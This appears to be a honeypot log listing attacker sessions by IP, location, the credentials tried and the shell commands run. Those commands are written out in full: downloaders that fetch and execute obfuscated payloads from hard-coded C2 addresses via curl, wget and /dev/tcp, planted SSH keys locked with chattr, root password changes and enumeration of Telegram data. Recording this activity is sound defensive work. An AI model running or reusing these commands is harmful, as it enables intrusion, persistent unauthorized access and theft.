$ nohup $SHELL -c "curl http://220.180.99.71:60105/linux -o /tmp/RReySExxUw; if [ ! -f /tmp/RReySExxUw ]; then wget http://220.180.99.71:60105/linux -O /tmp/RReySExxUw; fi; if [ ! -f /tmp/RReySExxUw ]; then exec 6<>/dev/tcp/220.180.99.71/60105 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/RReySExxUw ; chmod +x /tmp/RReySExxUw && /tmp/RReySExxUw lKm9VOFh9MXc8XzmSL2+7eO+uF/lb/DL3PJ/5Ei0vPfturZR4nb70sPydv9Uv6fs7Ke+VeN19MXC8W/pSL2/6ve4uUjpdvnFwPJ78Ve9uPfqsaJX5GH6w8j0eulQrLrg97C6SOd77crD+XjpUrWp4fe4v17/fvrcw/J261+7vu75saJX53ztxsXtfeVftrDg6LCsV+l87cPD7X3jUKK76e6zu1fjeuPBy+1+4V6ivuv3ur5c6H70xdLxfeFIvbHp97C1SOZ++cTC8n/kRr276fe+vUjhYfLBw/l44FO6qeHrp71T52HyysbtfeVTtrHp6rusUuZh8sLF7X7lV6K77Ouzu17kfOPGxe1+4VOivu33uLVT63jzxsXjd/9Xubr367m7SOh++cvH9HrxV7+49+u7vkjgfPDcw/R561C4u+r5sb5I4Hr13MP7e/9UuLzj4bm/VPF79NzD83r/Ubin6OC8tlHhe/TSwfph4Fa6p+jpsaJe4nX0wsrxb+BWvafo6rqiV+Z+7cTC+XfkVr+p6+i5ol/kYfrK3PV56168uOv5uLtQ/33ywNzyeOVIvb3h47+7VeRv98Xc8n3gSL264fe7vVfrefXCy+N3/1e6uffosbRI4Hz6yMv6fuZGuL736Li6SOB99tzB+3XpVb67+eGnvVDiYffF3PF76Fy1sOjgqb1X5GHyx8vtfeFSorjt7LO6Uuh648bF7X7hVqKw6/e9tVzoe/XE0vd4/1+5p+vsvKJT53X1xMPzhO2QIQSJdXyOtsbVRxxkXffn; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/RReySExxUw && /tmp/RReySExxUw lKm9VOFh9MXc8XzmSL2+7eO+uF/lb/DL3PJ/5Ei0vPfturZR4nb70sPydv9Uv6fs7Ke+VeN19MXC8W/pSL2/6ve4uUjpdvnFwPJ78Ve9uPfqsaJX5GH6w8j0eulQrLrg97C6SOd77crD+XjpUrWp4fe4v17/fvrcw/J261+7vu75saJX53ztxsXtfeVftrDg6LCsV+l87cPD7X3jUKK76e6zu1fjeuPBy+1+4V6ivuv3ur5c6H70xdLxfeFIvbHp97C1SOZ++cTC8n/kRr276fe+vUjhYfLBw/l44FO6qeHrp71T52HyysbtfeVTtrHp6rusUuZh8sLF7X7lV6K77Ouzu17kfOPGxe1+4VOivu33uLVT63jzxsXjd/9Xubr367m7SOh++cvH9HrxV7+49+u7vkjgfPDcw/R561C4u+r5sb5I4Hr13MP7e/9UuLzj4bm/VPF79NzD83r/Ubin6OC8tlHhe/TSwfph4Fa6p+jpsaJe4nX0wsrxb+BWvafo6rqiV+Z+7cTC+XfkVr+p6+i5ol/kYfrK3PV56168uOv5uLtQ/33ywNzyeOVIvb3h47+7VeRv98Xc8n3gSL264fe7vVfrefXCy+N3/1e6uffosbRI4Hz6yMv6fuZGuL736Li6SOB99tzB+3XpVb67+eGnvVDiYffF3PF76Fy1sOjgqb1X5GHyx8vtfeFSorjt7LO6Uuh648bF7X7hVqKw6/e9tVzoe/XE0vd4/1+5p+vsvKJT53X1xMPzhO2QIQSJdXyOtsbVRxxkXffn" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/KbZdEkYDvB
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ placid_eagle_root_113 (47.88.48.113) โ€” Minkler, United States ยท 2 sessions ยท 2 cmds
2026-07-14 01:20 EDT ยท as mysql/mysql, pi/raspberry
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ listless_bike_root (45.148.10.68) โ€” Amsterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-07-30 21:28 EDT ยท as root/qwerty
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
โ†ณ make executable
๐ŸŽญ placid_burger_root (104.28.214.113) โ€” St Louis, United States ยท 1 session ยท 2 cmds
2026-07-30 21:12 EDT ยท as oracle/123.com
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_clog_root (77.239.124.246) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-30 15:46 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ midnight_viking_root (83.233.149.204) โ€” ร–deshรถg, Sweden ยท 1 session ยท 19 cmds
2026-07-30 15:22 EDT ยท as root/P@ssw0rd1!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:4du9Q26nSmzu"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_spice_root (20.192.5.254) โ€” Pune, India ยท 1 session ยท 2 cmds
2026-07-30 13:50 EDT ยท as oracle/Welcome1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_pretzel_root (178.104.212.18) โ€” Falkenstein, Germany ยท 1 session ยท 20 cmds
2026-07-30 13:23 EDT ยท as tomcat/tomcat
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." โ†’ echo "tomcat\na2aRZ
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\na2aRZAGk9KEs\na2aRZAGk9KEs"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\na2aRZAGk9KEs\na2aRZAGk9KEs\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_beefeater_sol (143.110.164.98) โ€” Slough, United Kingdom ยท 2 sessions ยท 2 cmds
2026-07-30 11:19 EDT ยท as sol/sol, solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—2
โ†ณ obfuscated system check
๐ŸŽญ aloof_static_root (131.222.133.176) โ€” Lebedinovka, Kyrgyzstan ยท 1 session ยท 5 cmds
2026-07-30 10:43 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://47.116.125.38:8322/linux -o /tmp/kxwAegbHpC; if [ ! -f /tmp/kxwAegbHpC ]; then wget http://47.116.125.38:8322/linux -O /tmp/kxwAegbHpC; fi; if [ ! -f /tmp/kxwAegbHpC ]; then exec 6<>/dev/tcp/47.116.125.38/8322 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/kxwAegbHpC ; chmod +x /tmp/kxwAegbHpC && /tmp/kxwAegbHpC dj3u2GGXpKeIftLiMwkPKOzSf5WjsZd+2/guAxUs48R2l6umk3fc9iwLDTPn32GQv6OWetDvLQgLPeLdYZehpIh43vgsAg4n4dp7kbGgkH/E5C0JFS/j2WGXpaueeN7nPQMVLOXeYZSgqYh43ewkAwwo9tJhl6KliH7e5jMJCSfu03+TsaKfYdvmJRUJL+7EeJymo5F6yu4zCg0u+Nt6iKmonHjY5ykbCi3nxH6Vor+Xedr4LwIBK+HTe4alpoh+2+AzCgko+Nl3nKmilH3K4isVCC343n2IoKSTddLnJQsbJfjYfp6/o5R6xOIvAQ0t59p+hqm/lH7d+CwDAzPv3nWQqaGfb9vkLRUMJPjYdoigqJ513OUtCRss5dthlKOjiH7Z5TMKDCvs3HuUorGXd9n4LAoVL+TcYZShppx42+QoGwov4sR9lKC/lHva+C8LCyfh3niUsaKfYdvmKBUDKPjefJymop93yucvCxUq4cR9laa/l3je7CoPAin223yfv6CfecTkLggVL+TZdZClopdv3uEzAggz5Nh2iKSnnHjf5isbCi/mxHifv6OSfsTnJQ0BJObYeYapv5d70vgsDgkz5958nKmlkX3K5ywKFS7uxH6Tv6iXdd3jJQ0bLOfaYZKjv5d83PgoAgEq4dl5hqKoiH7a7jMJCSX43XWRo6aTb9vmLBUKLuXEfpGgv5B/0O4oCwg97sR+laW/l3va+C8JASXv2nqGqb+Xedn4LA4VJe/QeJSgpcWsnycSyLgpbl3NSbH+OzU=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/kxwAegbHpC && /tmp/kxwAegbHpC dj3u2GGXpKeIftLiMwkPKOzSf5WjsZd+2/guAxUs48R2l6umk3fc9iwLDTPn32GQv6OWetDvLQgLPeLdYZehpIh43vgsAg4n4dp7kbGgkH/E5C0JFS/j2WGXpaueeN7nPQMVLOXeYZSgqYh43ewkAwwo9tJhl6KliH7e5jMJCSfu03+TsaKfYdvmJRUJL+7EeJymo5F6yu4zCg0u+Nt6iKmonHjY5ykbCi3nxH6Vor+Xedr4LwIBK+HTe4alpoh+2+AzCgko+Nl3nKmilH3K4isVCC343n2IoKSTddLnJQsbJfjYfp6/o5R6xOIvAQ0t59p+hqm/lH7d+CwDAzPv3nWQqaGfb9vkLRUMJPjYdoigqJ513OUtCRss5dthlKOjiH7Z5TMKDCvs3HuUorGXd9n4LAoVL+TcYZShppx42+QoGwov4sR9lKC/lHva+C8LCyfh3niUsaKfYdvmKBUDKPjefJymop93yucvCxUq4cR9laa/l3je7CoPAin223yfv6CfecTkLggVL+TZdZClopdv3uEzAggz5Nh2iKSnnHjf5isbCi/mxHifv6OSfsTnJQ0BJObYeYapv5d70vgsDgkz5958nKmlkX3K5ywKFS7uxH6Tv6iXdd3jJQ0bLOfaYZKjv5d83PgoAgEq4dl5hqKoiH7a7jMJCSX43XWRo6aTb9vmLBUKLuXEfpGgv5B/0O4oCwg97sR+laW/l3va+C8JASXv2nqGqb+Xedn4LA4VJe/QeJSgpcWsnycSyLgpbl3NSbH+OzU=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/DFum4zLmMP
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ cryptic_dragon_root_242 (1.180.246.242) โ€” Haoxinying, China ยท 1 session ยท 1 cmd
2026-07-30 10:34 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ brazen_panda_root_183 (182.92.94.183) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-30 09:53 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ derelict_meatball_root (171.25.158.82) โ€” Vaxjo, Sweden ยท 1 session ยท 2 cmds
2026-07-30 06:16 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_jade_root_187 (8.148.185.187) โ€” Guangzhou, China ยท 20 sessions ยท 20 cmds
2026-07-29 18:49 EDT ยท as admin/123456, admin/password, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—20
๐ŸŽญ spectral_panda_db (123.56.8.132) โ€” Beijing, China ยท 2 sessions ยท 2 cmds
2026-07-12 15:58 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ midnight_silk_root_124 (47.110.47.124) โ€” Hangzhou, China ยท 1 session ยท 5 cmds
2026-07-30 04:59 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://39.108.72.32:9177/linux -o /tmp/mSAMh4lmkG; if [ ! -f /tmp/mSAMh4lmkG ]; then wget http://39.108.72.32:9177/linux -O /tmp/mSAMh4lmkG; fi; if [ ! -f /tmp/mSAMh4lmkG ]; then exec 6<>/dev/tcp/39.108.72.32/9177 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mSAMh4lmkG ; chmod +x /tmp/mSAMh4lmkG && /tmp/mSAMh4lmkG ncQrvralIHcAH385urO8IN3g4d06vbS7OXkXAHg5urO7IN3m5dE6vbS7OXkXAHwjuqi9ItLq6dQouqa4LmAfHnY5vLSiKdbq6dUtu6a/IGAfHnk5urK9NNbl4t4ttLO4N38bHGAmuLCiKNHk/tUvuLy9InscDn8lu6i7Lcri49M0vbG/LXkaF3o3s6i9LNf+4dYvorS8LXYaFnw3s6i9LNf+5NM0vrKyLXcXH3c3s6i9Ltz+4dEoore/JHQWGnklq76iK9fk/tUuvKi5JXQWF34iq7W1NNXg6Moovr6lIHQZHHkiq7e9K8rj6MoruaiyJnQZG3Yhq7W1NNXg6MojvKi5JnwUFnguvaa0NNXj5MortL6lJnkXFHYluLSsLtP+4dUqorK8OX8cGnQhv7W6Otz+4tYoorS6L2AcG38tvLS+KcTh4tc0uralL3gAHHwvsb68L9Hw6MoovbGlJnYWAHcjsbC0Kt3w4dQsore+OXgAHH4isb+8KdTw4900vbazOXceAHwmuby0LN3m8NAtorS4LmAfF385urG7INLi59Q6v7ClJn0dAH8mu6i+Kdfq59MuvKa6JX4AGXc5vai9L9Pq6dIvuaa4LmAfHnY5ubS0NNPq59Ytuaa6JX4AGXk5ubW7NNXn5N4tuL+/N3YAH3gnpbe0Isrh490gtb+6IG4fHn85v7SiKNT+5Ncgu7SyIW4dF2Amu76iLdb+49Ygtbe8IG4WHGAmvrCiK9Po/twqtr6zLnrPv4C1WtcqwsHvjD1c3DmaWx+OnA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/mSAMh4lmkG && /tmp/mSAMh4lmkG ncQrvralIHcAH385urO8IN3g4d06vbS7OXkXAHg5urO7IN3m5dE6vbS7OXkXAHwjuqi9ItLq6dQouqa4LmAfHnY5vLSiKdbq6dUtu6a/IGAfHnk5urK9NNbl4t4ttLO4N38bHGAmuLCiKNHk/tUvuLy9InscDn8lu6i7Lcri49M0vbG/LXkaF3o3s6i9LNf+4dYvorS8LXYaFnw3s6i9LNf+5NM0vrKyLXcXH3c3s6i9Ltz+4dEoore/JHQWGnklq76iK9fk/tUuvKi5JXQWF34iq7W1NNXg6Moovr6lIHQZHHkiq7e9K8rj6MoruaiyJnQZG3Yhq7W1NNXg6MojvKi5JnwUFnguvaa0NNXj5MortL6lJnkXFHYluLSsLtP+4dUqorK8OX8cGnQhv7W6Otz+4tYoorS6L2AcG38tvLS+KcTh4tc0uralL3gAHHwvsb68L9Hw6MoovbGlJnYWAHcjsbC0Kt3w4dQsore+OXgAHH4isb+8KdTw4900vbazOXceAHwmuby0LN3m8NAtorS4LmAfF385urG7INLi59Q6v7ClJn0dAH8mu6i+Kdfq59MuvKa6JX4AGXc5vai9L9Pq6dIvuaa4LmAfHnY5ubS0NNPq59Ytuaa6JX4AGXk5ubW7NNXn5N4tuL+/N3YAH3gnpbe0Isrh490gtb+6IG4fHn85v7SiKNT+5Ncgu7SyIW4dF2Amu76iLdb+49Ygtbe8IG4WHGAmvrCiK9Po/twqtr6zLnrPv4C1WtcqwsHvjD1c3DmaWx+OnA==" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/unrhikOYIN
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ weary_dragon_root_23 (124.193.81.23) โ€” Chaowai, China ยท 1 session ยท 2 cmds
2026-07-30 04:35 EDT ยท as oracle/changeme
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_cosmo_root (212.192.14.81) โ€” Moscow, Russia ยท 1 session ยท 2 cmds
2026-07-30 03:49 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_yankee_root (174.182.114.164) โ€” Kokomo, United States ยท 1 session ยท 9 cmds
2026-07-29 18:49 EDT ยท as root/root
root/root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps/grep miner โ†’ locate D877F783D5D3EF8Cs โ†’ Telegram data enumeration โ†’ echo Hi | cat -n
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ frantic_bear_root (109.63.185.106) โ€” Moscow, Russia ยท 1 session ยท 9 cmds
2026-07-29 18:43 EDT ยท as root/root
root login via root/root โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D877
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ crimson_stein_root (152.53.147.70) โ€” Nuremberg, Germany ยท 1 session ยท 2 cmds
2026-07-29 18:34 EDT ยท as oracle/test1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_tea_db (46.43.20.75) โ€” Glasgow, United Kingdom ยท 1 session ยท 2 cmds
2026-07-29 17:57 EDT ยท as oracle/test1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
